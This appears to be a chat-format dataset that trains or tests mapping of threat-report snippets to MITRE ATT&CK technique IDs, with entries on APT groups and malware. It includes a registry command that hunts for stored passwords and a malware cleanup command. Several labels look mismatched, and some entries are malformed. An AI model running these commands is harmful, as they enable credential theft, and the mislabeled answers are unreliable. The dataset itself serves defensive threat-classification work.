[
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Operation Dust Storm, the threat actors established domains as part of their operational infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "reg query HKLM /f password /t REG_SZ /s"
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pay2Key can stop the MS SQL service at the end of the encryption process to release files locked by the service."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Although the developers attempt to use a denylist of files and directories to skip, it was observed encrypting core Windows operating system files, which caused the operating system to become unstable and crash. This was observed when running the ransomware on a Windows 2012 machine"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WIRTE has obtained and used Empire for post-exploitation activities."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy uses cmd.exe to execute commands on the system."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of deleting files on the victim. It also securely removes itself after collecting and exfiltrating data."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT can browse file systems using a file manager module."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Strider has used local servers with both local network and Internet access to act as internal proxy nodes to exfiltrate data from other parts of the network without direct Internet access."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HIDEDRV is a rootkit that hides certain operating system artifacts."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has gathered information about local network connections using ."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Deep Panda has updated and modified its malware, resulting in different hash values that evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum establishes persistence by creating a .lnk shortcut to itself in the Startup folder."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has disabled host-based firewalls. The group has also globally opened port 3389."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The impact of finding this implant on your network is severe and most likely indicates the presence of other footholds or compromised systems. This backdoor provides ample capability for the attacker to propagate and compromise other hosts and critical data using this as a very stealthy beachhead"
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 encrypted a .dll payload using RTL and a custom encryption algorithm. APT28 has also obfuscated payloads with base64, XOR, and RC4."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carberp has connected to C2 servers via HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 used publicly available tools (including Microsoft's built-in SQL querying tool, osql.exe) to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers, and NetBIOS."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery', 'T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first stage implant that is nested in the DOTM file, is using triple base64 encoding in the Visual Basic Macro - The extracted DLL (desktop.dat) is packed with the Themida packer attempting to make analysis more difficult"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Filename  Part-I.doc    File Size  11349102 bytes    MD5  92942c54224cd462dd201ae11a560bb8    SHA1  85a21624df2211af3daf05c86a3fbea8271059d3    Notes Malicious RTF document that exploits CVE-2017-8570 and drops QuasarRAT file qrat.exe"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Here, we show an example of a PDF campaign as seen from the point of view of the affected user. This malicious PDF only contains a URL to entice the user to view the file. If the user chooses to click on the URL link and to read the actual content of the file, the browser will open a legitimate Google location which will redirect the browser to a malicious document. Browser redirection Finally, the malicious Word document is opened and the VBA macro code is run after the user allows for the editing of the content within Word. This eventually kickstarts the rest of the infection chain, terminates the Word process to hide the original file and opens a new Word instance to display a non-malicious decoy document dropped to the disk drive by one of the previous stages. Malicious Word document The decoy document remains constant throughout the campaign and is likely a side effect of the Threadkit exploit toolkit and cannot be relied upon for attribution. Decoy document opened in Word"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot has retrieved PuTTY credentials by querying the \"Software\\SimonTatham\\Putty\\Sessions\" registry key"
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  payload uses process hollowing to hide the UAC bypass vulnerability exploitation inside svchost.exe."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For C0011, Transparent Tribe established SSL certificates on the typo-squatted domains the group registered."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Forensic analysis indicates that many of these tools were executed during the timeframe in which the actor was accessing the system. Of note, the threat actors installed Python 2.7 on a compromised host of one staging victim, and a Python script was seen at C:\\Users\\&lt;Redacted Username&gt;\\Desktop\\OWAExchange"
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has exfiltrated stolen victim data through C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It mimics the icon Finder usually applies to JPEG or text files to increase the likelihood the recipient will double-click the file"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "actors have been known to copy files to the network shares of other computers to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proxysvc uses HTTP over SSL to communicate commands with the control server."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used Putty to access compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GravityRAT supports file encryption (AES with the key \"lolomycin2017\")."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pony can download additional files onto the infected system."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HotCroissant has the ability to download files from the infected host to the command and control (C2) server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors operate a Kubernetes cluster, which allows them to conduct distributed and large-scale targeting using password spray and password guessing"
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of performing keylogging."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Regarding to downloading and executing a tool, Flagpro stores the downloaded file in file path “%Temp%\\~MY[0-9A-F].tmp” first. Then, Flagpro adds extension “.exe” to the name of stored file and executes the file"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses reg add to add a Registry Run key for persistence."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has sent spearphishing attachments attempting to get a user to open them."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShadowPad has deleted arbitrary Registry values."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The state command sets a global variable containing a series of Boolean values represented as ASCII values ‘0’ or ‘1’ and also adds itself to the configuration file"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cryptoistic can engage in encrypted communications with C2."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Caterpillar WebShell can gather the IP address from the victim's machine using the IP config command."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Python/TeleBot malware uses exactly the same approach; the Python backdoor code is obfuscated and packed into a standalone executable using PyInstaller. In addition, the Python code is ROT13 encoded, AES encrypted, compressed using zlib library and then Base64 encoded"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has enumerated the host machine’s IP address."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The batch-files appear to be used to load the Cobalt Strike beacon, but also to perform discovery commands on the compromised system"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT12 has exploited multiple vulnerabilities for execution, including Microsoft Office vulnerabilities (CVE-2009-3129, CVE-2012-0158) and vulnerabilities in Adobe Reader and Flash (CVE-2009-4324, CVE-2009-0927, CVE-2011-0609, CVE-2011-0611)."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dyre has a command to download and executes additional files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crutch can monitor for removable drives being plugged into the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command Functionality   Init Create a reverse shell   Write Write a file to the compromised system from the C2 server   List List the files in a directory   Upload Upload a file from the compromised system to the C2 server    Table 2"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At the second stage, the attackers remotely connected to the device and scanned the local network seeking to gain access to public shared folders, web servers, and any other open resources. The aim was to harvest information about the network, above all, servers and workstations used for making payments. If the firewall blocked access from one segment of the network to another, but allowed a reverse connection, the attackers used a different payload to build tunnels"
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can write and execute PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Destover-like variant used by  uses a batch file mechanism to delete its binaries from the system."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dtrack can collect the victim's computer name, hostname and adapter information to create a unique identifier."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET identifies the macOS version and uses \"ioreg\" to determine serial number."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWRUNER can use base64 encoded C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation', 'T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerDuke has commands to get the time the machine was built, the time, and the time zone."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OutSteel can upload files from a compromised host over its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shlayer is perhaps the most talked about macOS malware at the moment and hit the news again recently after being caught sneaking past Apple’s macOS Notarization checks. That version of Shlayer was an interesting diversion: using a Mach-O binary written in C++ to execute a Bash shell script in memory. That might well suggest that Apple’s Notarization checks are static rather than dynamic as the telltale Shlayer code is only evident once the packed binary runs"
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrongPity can exfiltrate collected documents through C2 channels."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flagpro can check the name of the window displayed on the system."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious DLL is also responsible for terminating the cliconfg.exe process and deleting the malicious NTWDBLIB.dll using: cmd /c taskkill /im cliconfg.exe /f /t && del /f /q NTWDBLIB.DLL All the following capabilities described are implemented by the malicious service DLL implant unless specified.   Variant using North Korean Red Cross Another variant (hash: 9e2c0bd19a77d712055ccc0276fdc062e9351436) of the malicious Word dropper uses the same Base64-decoding scheme with a different custom key"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  crimeware toolkit has refined its detection of sandbox analysis environments by inspecting the process list and Registry."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Keydnap uses the keychaindump project to read securityd memory."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 obtained information about the configured Exchange virtual directory using \"Get-WebServicesVirtualDirectory\"."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Darkhotel has used a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "stages collected data in a text file."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged', 'T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks . Get Free Account . Join Now . Introduction . TeamTNT is a cybercrime group that targets cloud environments including Docker and Kubernetes instances. TeamTNT has also been spotted using a malicious Docker image which can be found on Docker Hub to infect its victims’ servers. The uniqueness of the recent attack observed by Intezer is the group abuses a legitimate open source tool called Weave Scope to gain full control over the victim’s cloud infrastructure. By installing a legitimate tool such as Weave Scope the attackers reap all the benefits as if they had installed a backdoor on the server, with significantly less effort and without needing to use malware. To install Weave Scope on the server the attackers use an exposed Docker API port and create a new privileged container with a clean Ubuntu image. Once installed, the attackers can connect to the Weave Scope dashboard via HTTP on port 4040 and gain full visibility and control over the victim’s infrastructure. To protect yourself from this attack we recommend to: - Close exposed Docker API ports: This attack takes advantage of a common misconfiguration of the Docker API which gives the attacker full control over the Docker service. Therefore, Docker API ports should be closed or contain restricted access policies in the firewall. Block incoming connections to port 4040: Weave Scope uses default port 4040 to make the dashboard accessible and anyone with access to the network can view the dashboard. Update from Weave Works . Weave Works has since provided this in-depth article on how to prevent malicious attacks using Weave Scope"
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Snippets of HOLMIUM PowerShell backdoor (POWERTON) implementing two different persistence mechanisms: WMI event subscription (T1084) and Registry run keys or Startup folder (T1060"
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT1 has used various open-source tools for privilege escalation purposes."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideTwist can collect the username on a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "text=  from=  ai= ags=  oe= aq= btnG=  oprnd=  ai= utm=  channel=  The page address in the domain of the command and control server is chosen randomly from the list"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
